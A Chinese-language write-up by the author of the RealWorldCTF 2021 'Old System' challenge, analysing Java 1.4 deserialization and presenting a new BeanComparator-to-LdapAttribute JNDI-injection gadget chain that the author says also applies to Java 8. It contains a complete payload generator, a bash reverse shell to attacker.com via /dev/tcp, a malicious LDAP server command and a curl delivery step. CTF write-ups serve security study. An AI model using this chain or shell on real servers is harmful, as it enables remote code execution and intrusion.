长亭百川云 - 文章详情

RealWorldCTF 2021 Old System Writeup

voidfyoo

5

2021-12-24

概述

这次 2021 RealWorldCTF(RWCTF) 我出了一道 Java 反序列化的题目 Old System,玩了一波文艺复兴,考查的是在 Java 1.4 这个远古版本环境下反序列化漏洞的利用。

Java 1.4 其实已经是非常古老的版本(J2SE 1.4 是在 2002 年 2 月发行的),你可能会觉得不可思议:“都 2021 年了谁还用这么老的 Java,打 CTF 果然一点用都没有!”。但是这可是 RealWorldCTF,实际上这道题是我根据我去年在某次渗透攻防演练中碰到的一个真实系统环境改编而来,并且这道题重点考察的是选手对于 Java 反序列化漏洞利用链(Gadget)的理解程度和新链的挖掘能力。如果你感兴趣,请接着往后阅读。

题目分析

游戏开始

Old System 这道题的题目描述如下:

How to exploit the deserialization vulnerability in such an ancient Java environment ?

Java version: 1.4.2_19

题目中指明了 Java 版本,并且在题目附件里提供了 webapp war:

WEB-INF/web.xml 里只定义了 1 个 servlet:

1<?xml version="1.0" encoding="ISO-8859-1"?>
2<!--
3  Copyright 2004 The Apache Software Foundation
4
5  Licensed under the Apache License, Version 2.0 (the "License");
6  you may not use this file except in compliance with the License.
7  You may obtain a copy of the License at
8
9      http://www.apache.org/licenses/LICENSE-2.0
10
11  Unless required by applicable law or agreed to in writing, software
12  distributed under the License is distributed on an "AS IS" BASIS,
13  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14  See the License for the specific language governing permissions and
15  limitations under the License.
16-->
17
18<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
19    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
20    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
21    version="2.4">
22
23  <display-name>Tomcat Demo Webapp</display-name>
24  <description>Tomcat Demo Webapp</description>
25
26
27    <servlet>
28        <servlet-name>org.rwctf.ObjectServlet</servlet-name>
29        <servlet-class>org.rwctf.ObjectServlet</servlet-class>
30    </servlet>
31
32    <servlet-mapping>
33        <servlet-name>org.rwctf.ObjectServlet</servlet-name>
34        <url-pattern>/object</url-pattern>
35    </servlet-mapping>
36
37
38</web-app>

这个 servlet 映射的请求访问路径是 /object,对应的类是 ObjectServlet

1package org.rwctf;
2
3import java.io.File;
4import java.io.IOException;
5import java.io.PrintWriter;
6import java.net.MalformedURLException;
7import java.net.URL;
8import java.net.URLClassLoader;
9import javax.servlet.ServletConfig;
10import javax.servlet.ServletException;
11import javax.servlet.http.HttpServlet;
12import javax.servlet.http.HttpServletRequest;
13import javax.servlet.http.HttpServletResponse;
14
15public class ObjectServlet extends HttpServlet {
16    private ClassLoader appClassLoader;
17
18    public ObjectServlet() {
19    }
20
21    public void init(ServletConfig var1) throws ServletException {
22        super.init(var1);
23        String var2 = var1.getServletContext().getRealPath("/");
24        File var3 = new File(var2 + File.separator + "WEB-INF" + File.separator + File.separator + "lib");
25        if (var3.exists() && var3.isDirectory()) {
26            File[] var4 = var3.listFiles();
27            if (var4 != null) {
28                URL[] var5 = new URL[var4.length + 1];
29
30                for(int var6 = 0; var6 < var4.length; ++var6) {
31                    if (var4[var6].getName().endsWith(".jar")) {
32                        try {
33                            var5[var6] = var4[var6].toURI().toURL();
34                        } catch (MalformedURLException var9) {
35                            var9.printStackTrace();
36                        }
37                    }
38                }
39
40                File var10 = new File(var2 + File.separator + "WEB-INF" + File.separator + File.separator + "classes");
41                if (var10.exists() && var10.isDirectory()) {
42                    try {
43                        var5[var5.length - 1] = var10.toURI().toURL();
44                    } catch (MalformedURLException var8) {
45                        var8.printStackTrace();
46                    }
47                }
48
49                this.appClassLoader = new URLClassLoader(var5);
50            }
51        }
52
53    }
54
55    protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
56        PrintWriter var3 = var2.getWriter();
57        ClassLoader var4 = Thread.currentThread().getContextClassLoader();
58        Thread.currentThread().setContextClassLoader(this.appClassLoader);
59
60        try {
61            ClassLoaderObjectInputStream var5 = new ClassLoaderObjectInputStream(this.appClassLoader, var1.getInputStream());
62            Object var6 = var5.readObject();
63            var5.close();
64            var3.print(var6);
65        } catch (ClassNotFoundException var10) {
66            var10.printStackTrace(var3);
67        } finally {
68            Thread.currentThread().setContextClassLoader(var4);
69        }
70
71    }
72}
73

注意 ObjectServlet 类的 doPost 方法中对 HTTP 请求 body 部分进行了反序列化,因此存在反序列化漏洞。

当初设计这个题目的时候,我为了保证题目难度,所以给整个反序列化过程设计了一个 URLClassLoader(即 ObjectServletappClassLoader),目的是将反序列化能够加载的类限制在 Java 标准库以及当前 webapp 范围内(/WEB-INF/classes, /WEB-INF/lib/),不让选手考虑 Tomcat 全局依赖库。ClassLoaderObjectInputStream 这个 ObjectInputStream 子类的设计目的也是如此:

1package org.rwctf;
2
3import java.io.IOException;
4import java.io.InputStream;
5import java.io.ObjectInputStream;
6import java.io.ObjectStreamClass;
7import java.io.StreamCorruptedException;
8import java.lang.reflect.Proxy;
9
10public class ClassLoaderObjectInputStream extends ObjectInputStream {
11    private final ClassLoader classLoader;
12
13    public ClassLoaderObjectInputStream(ClassLoader var1, InputStream var2) throws IOException, StreamCorruptedException {
14        super(var2);
15        this.classLoader = var1;
16    }
17
18    protected Class resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
19        return Class.forName(var1.getName(), false, this.classLoader);
20    }
21
22    protected Class resolveProxyClass(String[] var1) throws IOException, ClassNotFoundException {
23        Class[] var2 = new Class[var1.length];
24
25        for(int var3 = 0; var3 < var1.length; ++var3) {
26            var2[var3] = Class.forName(var1[var3], false, this.classLoader);
27        }
28
29        return Proxy.getProxyClass(this.classLoader, var2);
30    }
31}

ysoserial gadget 分析

ok,现在明确这个题目是有一个反序列化漏洞,其中反序列化能够加载的类的范围是 Java 标准库、/WEB-INF/lib//WEB-INF/classes/ 目录下的 jar/class。

/WEB-INF/lib/ 目录下的 jar 包有这 4 个:

如果你了解过 Java 反序列化漏洞,那么你肯定知道 ysoserial 这个 Java 反序列化漏洞利用工具。简单来说,ysoserial 这个工具里已经集成了很多 Java 反序列化利用链的 payload 生成代码,这里是这个项目的代码地址:https://github.com/frohoff/ysoserial

可以直接通过运行 ysoserial 来看有哪些可以直接拿来用的利用链:

有经验的选手应该会直接注意到 commons-collectionscommons-beanutils 这两个库。这两个库的使用量本身非常广泛,平时无论是渗透测试还是代码审计也会经常和它们打交道。因此乍一看你可能会想,这两个库正好这个题目依赖里都有,那不是直接随便挑一个就打穿了?

但是你要注意的是,这个系统是一个非常老的系统(从它用的 Java 版本是 1.4 你应该就能感受到),因此实际上它的依赖库版本也是非常老的。

譬如 commons-collections 库的版本是 2.1

commons-collections 这个库的反序列化利用链核心都在于 Transformer,比如 InvokerTransformer 或者 InstantiateTransformer,但这些类在 2.1 版本的 commons-collections 库中都没有:

因此 ysoserial 里关于 CommonsCollections 系列的利用链肯定不起作用了。

我们再来看 CommonsBeanutils

一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:

commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

但这些版本实际上反映的只是 ysoserial 作者在编写利用时用到的库版本,实际的影响范围可能并不局限于此。因此在急着对依赖版本下具体结论之前,我们先看看 ysoserial 里源码里是怎么构造这个链的:

1package ysoserial.payloads;
2
3import java.math.BigInteger;
4import java.util.PriorityQueue;
5
6import org.apache.commons.beanutils.BeanComparator;
7
8import ysoserial.payloads.annotation.Authors;
9import ysoserial.payloads.annotation.Dependencies;
10import ysoserial.payloads.util.Gadgets;
11import ysoserial.payloads.util.PayloadRunner;
12import ysoserial.payloads.util.Reflections;
13
14@SuppressWarnings({ "rawtypes", "unchecked" })
15@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
16@Authors({ Authors.FROHOFF })
17public class CommonsBeanutils1 implements ObjectPayload<Object> {
18
19	public Object getObject(final String command) throws Exception {
20		final Object templates = Gadgets.createTemplatesImpl(command);
21		// mock method name until armed
22		final BeanComparator comparator = new BeanComparator("lowestSetBit");
23
24		// create queue with numbers and basic comparator
25		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
26		// stub data for replacement later
27		queue.add(new BigInteger("1"));
28		queue.add(new BigInteger("1"));
29
30		// switch method called by comparator
31		Reflections.setFieldValue(comparator, "property", "outputProperties");
32
33		// switch contents of queue
34		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
35		queueArray[0] = templates;
36		queueArray[1] = templates;
37
38		return queue;
39	}
40
41}

CommonsBeanutils1 这个链的构造原理进行仔细分析后,你会发现这个链的核心是 org.apache.commons.beanutils.BeanComparator 这个类,这个类同时实现了 ComparatorSerializable 接口,并且它在 compare 的时候,会在传入的比较对象上调用特定的 getter 方法:

commons-beanutils-1.9.3.jar!/org/apache/commons/beanutils/BeanComparator.class

然后 ysoserial CommonsBeanutils1 是以 PriorityQueue 为利用链的入口进行构造。PriorityQueue 顾名思义即优先级队列,它的构造函数可以接受一个 Comparator 实例对象为参数进行构造,然后在反序列化的时候通过这个调用这个 Comparatorcompare 方法对队列里的对象进行排序。因此前半部分利用链调用过程为:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
    PriorityQueue.siftDown()
    PriorityQueue.siftDownUsingComparator()
        BeanComparator.compare()

ysoserial CommonsBeanutils1 的前半部分利用链能执行到 BeanComparator.compare 方法后,后半部分就是需要找一个 getter 方法能触发危险敏感操作的可序列化类了。基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有 TemplatesImplJdbcRowSetImpl

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties: 加载自定义的字节码并实例化,从而可执行任意 Java 代码
  • com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData: 触发 JNDI 注入,也可以执行任意 Java 代码

ysoserial CommonsBeanutils1 源码里采用的是 TemplatesImpl,因此整个完整的反序列化利用链调用过程为:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    PriorityQueue.heapify()
    PriorityQueue.siftDown()
    PriorityQueue.siftDownUsingComparator()
        BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                PropertyUtilsBean.getNestedProperty()
                PropertyUtilsBean.getSimpleProperty()
                PropertyUtilsBean.invokeMethod()
                    TemplatesImpl.getOutputProperties()
                    TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                        TransletClassLoader.defineClass()
                    Class.newInstance()
                        Runtime.getRuntime().exec(command)

Java 1.4 下的困境

分析完 ysoserial CommonsBeanutils1 的利用链构造代码后,我们把眼光挪回到本题目。首先需要确认一下 BeanComparator 这个核心类是否存在。

还算不错的是,尽管题目中用到的 commons-beanutils 依赖版本是 1.6,也算是很老的版本了,但 BeanComparator 这个核心类是存在的。虽然 compare 方法的代码稍作了改变,但依然是可以执行被比较对象的特定 getter 方法:

BeanComparator 核心类的存在确认后,我们再来确认 CommonsBeanutils 利用链构造的其余部分。

这里就到了这个题目里最有意思的地方,因为你会“惊喜地”发现,Java 1.4 的环境下,没有 PriorityQueue 这个类(这个类在 CommonsBeanutils 利用链构造中扮演“入口”的角色)。不仅没有 PriorityQueue 类,连 TemplatesImplJdbcRowSetImpl 这两个类也都没有(这两个类在 CommonsBeanutils 利用链中扮演“出口”的角色,以达成最后的任意代码执行)!

这就相当于一条有三个节点的链路,入口和出口的节点看起来都坏掉了,只剩下中间的节点能用。怎么突破这种困境?

从 readObject 到 BeanComparator.compare

先别着急,我们来尝试还原一下 ysoserial CommonsBeanutils1 原作者 frohoff 当初在构建这个利用链时的思路。作为利用链的入口,原作者采用的是 PriorityQueue,它代表的数据结构是优先级队列。所谓的反序列化就是将数据还原成对象,因此如果要得到一个优先级队列的对象,在反序列化过程中势必会进行排序的操作。而排序的过程中,很有可能就会用到 Comparator 接口类去对数据结构里的数据进行比较。

按照这个思路,虽然 PriorityQueue 在 Java 1.4 中不存在,但是肯定还有别的数据结构涉及到排序和比较。

根据赛后和选手的交流,其实已经有些选手找到了如何调用到 Comparator.compare 方法这一部分的链构造。方法有很多,这里我给出我当时发现的办法,从入口到 BeanComparator.compare 的调用栈如下:

java.util.HashMap#readObject
java.util.HashMap#putForCreate
java.util.HashMap#eq
    java.util.AbstractMap#equals
        java.util.TreeMap#get
        java.util.TreeMap#getEntry
            org.apache.commons.beanutils.BeanComparator#compare

核心出发点是 TreeMap。这个数据结构和 PriorityQueue 有点像,也接受一个 Comparator 接口类作为构造函数的参数,然后在调用 TreeMap.get 方法的时候,就会触发 Comparator.compare 方法。

所以关键是再找一个类,它反序列化的时候能触发 Map.get 即可,这样就能走到 TreeMap.get

这里我注意到 AbstractMap.equals 方法里有 Map.get 方法的调用:

java.util.AbstractMap#equals

这个也很符合直观逻辑,因为当对两个 Map 数据结构的对象进行相等比较的时候,Map 的 key 也会被拿出来做比较。

HashMap 在反序列化时会调用到 putForCreate 方法:

java.util.HashMap#putForCreate

putForCreate 方法中在要被比较的两个 key 对象的 hash 一致时,就会进入到相等性比较的调用。可以通过创建两个构造起来完全一样、但是引用地址不一样的对象来解决 hash 判断的问题。比如:

1TreeMap treeMap1 = new TreeMap(comparator);
2treeMap1.put(payloadObject, "aaa");
3TreeMap treeMap2 = new TreeMap(comparator);
4treeMap2.put(payloadObject, "aaa");
5HashMap hashMap = new HashMap();
6hashMap.put(treeMap1, "bbb");
7hashMap.put(treeMap2, "ccc");

这样就完成了从反序列化入口 readObjectBeanComparator.compare 方法的调用!

从 BeanComparator.compare 到 RCE

不少选手其实都完成了从 readObjectBeanComparator.compare 方法调用这一步,但最终都卡在了寻找最后的 RCE 利用类上。这一部分是本题最大的难点,选手需要在整个 Java 1.4 标准库范围里进行搜索符合如下条件的类:

  • 实现了 Serializable 接口
  • 其某个 getter 方法里进行了敏感危险操作

这里的 getter 方法具体来说,首先修饰符需要是 public,其次方法名以 get 开头,而且不允许有参数。

而目前已经公开的利用类 TemplatesImplJdbcRowSetImpl 在 Java 1.4 的版本里都是没有的,所以如果要解决这个问题的话,没有捷径可走,只能够挖掘新的链。

按照这些条件对 Java 1.4 标准库进行搜索,其实结果还是非常多的。而要在两天时间里在这么大的范围内最终找到符合条件且能够完成 RCE 的利用链,我认为经验、技巧、耐心、细心,这几点缺一不可。

事实上,我最终发现的利用链我认为也是非常地不明显,曾经一度想要放弃,以为这个类没法利用,但最终柳暗花明,经过多番调试后最终解决了这个问题!

直接揭晓我的预期解法答案,那就是 com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition

com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition 方法代码如下:

LdapAttribute.getAttributeDefinition() 方法里,它首先调用了 getBaseCtx() 方法去创建一个 InitialDirContext 对象,而它会用 baseCtxURL 属性去填充 java.naming.provider.url。在反序列化的过程中,baseCtxURL 属性值实际上是可控的(我们可以在序列化时自由指定),因此这就相当于可以由攻击者直接指定 JNDI 的连接地址:

com.sun.jndi.ldap.LdapAttribute#getBaseCtx

根据 JNDI 注入攻击的条件,现在 JNDI 连接的地址已经可控,接下来想办法触发 InitialContext.lookup 方法即可。

起初我一直以为我会在 (DirContext)var1.lookup("AttributeDefinition/" + this.getID()) 这一行代码里的 lookup 处触发 JNDI 注入,但是经过多番尝试后并没有成功,因为这里的 lookup 方法实际上是 HierMemDirCtx.lookup,而 HierMemDirCtx 并不是 InitialContext 的子类。

当我发现 HierMemDirCtx.lookup 这个方法无法进行 JNDI 注入后,我就暂时放弃了一阵子,转头分析别的利用类去了。但是当我把所有可能的类都看的差不多之后,感觉实在没有能看的了,于是只好又回过头来继续硬着头皮分析。最终发现,要触发 JNDI 注入,其实并不一定要以 InitialContext.lookup 方法为入口!

以 LDAP 协议为例的 JNDI 注入,InitialContext.lookup 方法的调用栈为:

javax.naming.InitialContext#lookup(java.lang.String)
-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......

因此,假如能直接执行到 LdapCtx.c_lookup 方法,并且 JNDI 地址可控的话,就可以达到和 JNDI 注入相同的漏洞利用效果。

这里通过构造利用 payload 可以使其调用栈如下:

com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......

因此就可以进行 JNDI 注入,实现 RCE。

PoC

生成序列化 payload 的 PoC:

1import org.apache.commons.beanutils.BeanComparator;
2
3import javax.naming.CompositeName;
4import java.io.FileOutputStream;
5import java.io.ObjectOutputStream;
6import java.lang.reflect.Constructor;
7import java.lang.reflect.Field;
8import java.util.HashMap;
9import java.util.TreeMap;
10
11public class PayloadGenerator {
12
13    public static void main(String[] args) throws Exception {
14
15        String ldapCtxUrl = "ldap://attacker.com:1389";
16        
17        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
18        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
19                new Class[] {String.class});
20        ldapAttributeClazzConstructor.setAccessible(true);
21        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
22                new Object[] {"name"});
23
24        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
25        baseCtxUrlField.setAccessible(true);
26        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
27
28        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
29        rdnField.setAccessible(true);
30        rdnField.set(ldapAttribute, new CompositeName("a//b"));
31        
32        // Generate payload
33        BeanComparator comparator = new BeanComparator("class");
34        TreeMap treeMap1 = new TreeMap(comparator);
35        treeMap1.put(ldapAttribute, "aaa");
36        TreeMap treeMap2 = new TreeMap(comparator);
37        treeMap2.put(ldapAttribute, "aaa");
38        HashMap hashMap = new HashMap();
39        hashMap.put(treeMap1, "bbb");
40        hashMap.put(treeMap2, "ccc");
41
42        Field propertyField = BeanComparator.class.getDeclaredField("property");
43        propertyField.setAccessible(true);
44        propertyField.set(comparator, "attributeDefinition");
45
46        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
47        oos.writeObject(hashMap);
48        oos.close();
49
50    }
51
52}

注意 PoC 必须在 Java 1.4 和题目环境给的依赖下运行,否则反序列化时很可能会出现 serialVersionUID 不一致的问题。

整个 payload 反序列化调用栈为:

java.io.ObjectInputStream#readObject
-> java.util.HashMap#readObject
-> java.util.HashMap#putForCreate
-> java.util.HashMap#eq
-> java.util.AbstractMap#equals
-> java.util.TreeMap#get
-> java.util.TreeMap#getEntry
-> java.util.TreeMap#compare
-> org.apache.commons.beanutils.BeanComparator#compare
-> org.apache.commons.beanutils.PropertyUtils#getProperty
-> org.apache.commons.beanutils.PropertyUtils#getNestedProperty
-> org.apache.commons.beanutils.PropertyUtils#getSimpleProperty
-> java.lang.reflect.Method#invoke
-> com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> JNDI Injection RCE

利用步骤:

用在 Java 1.4 的环境下编译如下 Exploit.java 得到 Exploit.class,它用来执行反弹 shell 到 attacker.com 主机 6666 端口的命令:

1import java.util.Hashtable;
2import javax.naming.Context;
3import javax.naming.Name;
4import javax.naming.spi.ObjectFactory;
5
6public class Exploit
7implements ObjectFactory {
8    public Object getObjectInstance(Object object, Name name, Context context, Hashtable hashtable) throws Exception {
9        Runtime.getRuntime().exec(new String[]{"bash", "-c", "sh -i >& /dev/tcp/attacker.com/6666 0>&1"});
10        return null;
11    }
12}

将得到的 Exploit.class 其放在 http server 上,比如 url 地址为 http://attacker.com/Exploit.class

然后运行 marshalsec,启一个恶意的 ldap 服务(marshalsec 可以直接用 java 8 跑):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

最终将前面的 PoC 运行得到的恶意序列化数据 object.ser 传递给题目的 /object 接口,就可以完成利用,获取到反弹 shell 了:

curl http://challenge_address:28080/object --data-binary @object.ser

发散思考

后续我发现 com.sun.jndi.ldap.LdapAttribute 这个类在 Java 8 中也是有的,因此这个利用链的 JNDI 注入利用同样适用于 Java 8:

1import javax.naming.CompositeName;
2import java.lang.reflect.Constructor;
3import java.lang.reflect.Field;
4import java.lang.reflect.Method;
5
6public class PayloadTest {
7
8    public static void main(String[] args) throws Exception {
9
10
11        String ldapCtxUrl = "ldap://attacker.com:1389";
12
13        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
14        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
15                new Class[] {String.class});
16        ldapAttributeClazzConstructor.setAccessible(true);
17        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
18                new Object[] {"name"});
19
20        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
21        baseCtxUrlField.setAccessible(true);
22        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
23
24        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
25        rdnField.setAccessible(true);
26        rdnField.set(ldapAttribute, new CompositeName("a//b"));
27
28        Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[] {});
29        getAttributeDefinitionMethod.setAccessible(true);
30        getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[] {});
31
32    }
33
34}

所以如果我没弄错的话,这应该也算是一个新的 getter rce gadget ;)

参考资料

相关推荐
广告图
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2